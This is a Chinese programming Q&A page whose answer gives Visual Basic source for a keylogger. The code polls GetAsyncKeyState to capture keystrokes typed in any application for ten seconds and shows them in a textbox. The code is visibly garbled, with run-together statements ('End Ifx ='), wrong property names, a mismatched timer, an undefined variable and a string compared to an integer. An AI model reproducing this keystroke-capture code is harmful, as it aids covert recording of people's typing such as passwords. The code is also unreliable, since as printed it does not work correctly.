當前位置:編程學習大全網 - 源碼下載 - VB編寫鍵盤記錄器

VB編寫鍵盤記錄器

鍵盤記錄沒有必要用全局鉤子,如果用不好會嚴重影響系統的效率·VB有壹個API函數可以很好的實現鍵盤記錄代碼如下:通用部分聲明:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 'API函數的聲明dim time as integer添加2個按鈕,壹個textbox控件。command1_click事件中添加:timer1.enable = truecommand1.enable = falsecommand2.enable = true command2_click :timer2.enable = falsecommand1.enable = truecommand2.enable = false form_load :

command1.enable = truecommand2.enable = false添加壹個timer控件,interval屬性設置為1000.Enable屬性設置為false.並添加下面代碼:time = time +1if time = "10" thentimer1.enable = falsecommand1.enable = truecommand2.enable = falseelseFor i = 32 To 256

x = GetAsyncKeyState(i)

If x = -32767 Then

Text1.Text = Text1.Text + Chr(i)

End If

x = GetAsyncKeyState(186)

If x = -32767 Then

Text1.Text = Text1.Text + ";"

End If

x = GetAsyncKeyState(187)

If x = -32767 Then

Text1.Text = Text1.Text + "="

End If

x = GetAsyncKeyState(188)

If x = -32767 Then

Text1.Text = Text1.Text + ","

End If

x = GetAsyncKeyState(189)

If x = -32767 Then

Text1.Text = Text1.Text + "-"

End If

x = GetAsyncKeyState(190)

If x = -32767 Then

Text1.Text = Text1.Text + "."

End If

x = GetAsyncKeyState(191)

If x = -32767 Then

Text1.Text = Text1.Text + "/"

End If'------------------------------

'數字的虛擬鍵

x = GetAsyncKeyState(96)

If x = -32767 Then

Text1.Text = Text1.Text + "0"

End If

x = GetAsyncKeyState(97)

If x = -32767 Then

Text1.Text = Text1.Text + "1"

End If

x = GetAsyncKeyState(98)

If x = -32767 Then

Text1.Text = Text1.Text + "2"

End If

x = GetAsyncKeyState(99)

If x = -32767 Then

Text1.Text = Text1.Text + "3"

End If

x = GetAsyncKeyState(100)

If x = -32767 Then

Text1.Text = Text1.Text + "4"

End If

x = GetAsyncKeyState(101)

If x = -32767 Then

Text1.Text = Text1.Text + "5"

End If

x = GetAsyncKeyState(102)

If x = -32767 Then

Text1.Text = Text1.Text + "6"

End If

x = GetAsyncKeyState(103)

If x = -32767 Then

Text1.Text = Text1.Text + "7"

End If

x = GetAsyncKeyState(104)

If x = -32767 Then

Text1.Text = Text1.Text + "8"

End If

x = GetAsyncKeyState(105)

If x = -32767 Then

Text1.Text = Text1.Text + "9"

End If

'--------------------------------------

x = GetAsyncKeyState(13)

If x = -32767 Then

Text1.Text = Text1.Text + " (回車鍵) "

End If

'--------------------------------------

x = GetAsyncKeyState(8)

If x = -32767 Then

Text1.Text = Text1.Text + " (退格鍵) "

End If

'--------------------------------------

x = GetAsyncKeyState(9)

If x = -32767 Then

Text1.Text = Text1.Text + "(TAB鍵)"

End If

'--------------------------------------

x = GetAsyncKeyState(16) ''shift鍵

If x = -32767 And TimeOut = 0 Then

Text1.Text = Text1.Text + "(Shift鍵)"

End If

'--------------------------------------

x = GetAsyncKeyState(17) ''Ctrl鍵

If x = -32767 Then

Text1.Text = Text1.Text + "(Ctrl鍵)"

End If

'--------------------------------------

x = GetAsyncKeyState(18)

If x = -32767 Then

Text1.Text = Text1.Text + "(ALT鍵)"

End If

'--------------------------------------

x = GetAsyncKeyState(46)

If x = -32767 Then

Text1.Text = Text1.Text + "(刪除)"

End If

'--------------------------------------

x = GetAsyncKeyState(38)

If x = -32767 Then

Text1.Text = Text1.Text + "(向上)"

End If

'--------------------------------------

x = GetAsyncKeyState(40)

If x = -32767 Then

Text1.Text = Text1.Text + "(向下)"

End If

'--------------------------------------

x = GetAsyncKeyState(37)

If x = -32767 Then

Text1.Text = Text1.Text + "(向左)"

End If

'--------------------------------------

x = GetAsyncKeyState(39)

If x = -32767 Then

Text1.Text = Text1.Text + "(向右)"

End If

'--------------------------------------x = GetAsyncKeyState(112)

If x = -32767 Then

Text1.Text = Text1.Text + "[F1]"

End Ifx = GetAsyncKeyState(113)

If x = -32767 Then

Text1.Text = Text1.Text + "[F2]"

End Ifx = GetAsyncKeyState(114)

If x = -32767 Then

Text1.Text = Text1.Text + "[F3]"

End Ifx = GetAsyncKeyState(115)

If x = -32767 Then

Text1.Text = Text1.Text + "[F4]"

End Ifx = GetAsyncKeyState(116)

If x = -32767 Then

Text1.Text = Text1.Text + "[F5]"

End Ifx = GetAsyncKeyState(117)

If x = -32767 Then

Text1.Text = Text1.Text + "[F6]"

End Ifx = GetAsyncKeyState(118)

If x = -32767 Then

Text1.Text = Text1.Text + "[F7]"

End Ifx = GetAsyncKeyState(119)

If x = -32767 Then

Text1.Text = Text1.Text + "[F8]"

End Ifx = GetAsyncKeyState(120)

If x = -32767 Then

Text1.Text = Text1.Text + "[F9]"

End Ifx = GetAsyncKeyState(121)

If x = -32767 Then

Text1.Text = Text1.Text + "[F10]"

End Ifx = GetAsyncKeyState(122)

If x = -32767 Then

Text1.Text = Text1.Text + "[F11]"

End Ifx = GetAsyncKeyState(123)

If x = -32767 Then

Text1.Text = Text1.Text + "[F12]"

End IfNext iend if

End Sub

上面的代碼中command1為開啟按紐,command2為關閉按鈕,按下開啟按鈕後將記錄10秒內的鍵盤消息並在text1中顯示我沒有在窗體上輸出,應為如果消息太多了會顯示不好如果妳要在窗體輸出就改用print函數輸出吧

  • 上一篇:我有移動提供的短信接口,請問怎麽用php調用這些接口發送短信呢?
  • 下一篇:android 開發之app都可以進行哪些優化
  • copyright 2024編程學習大全網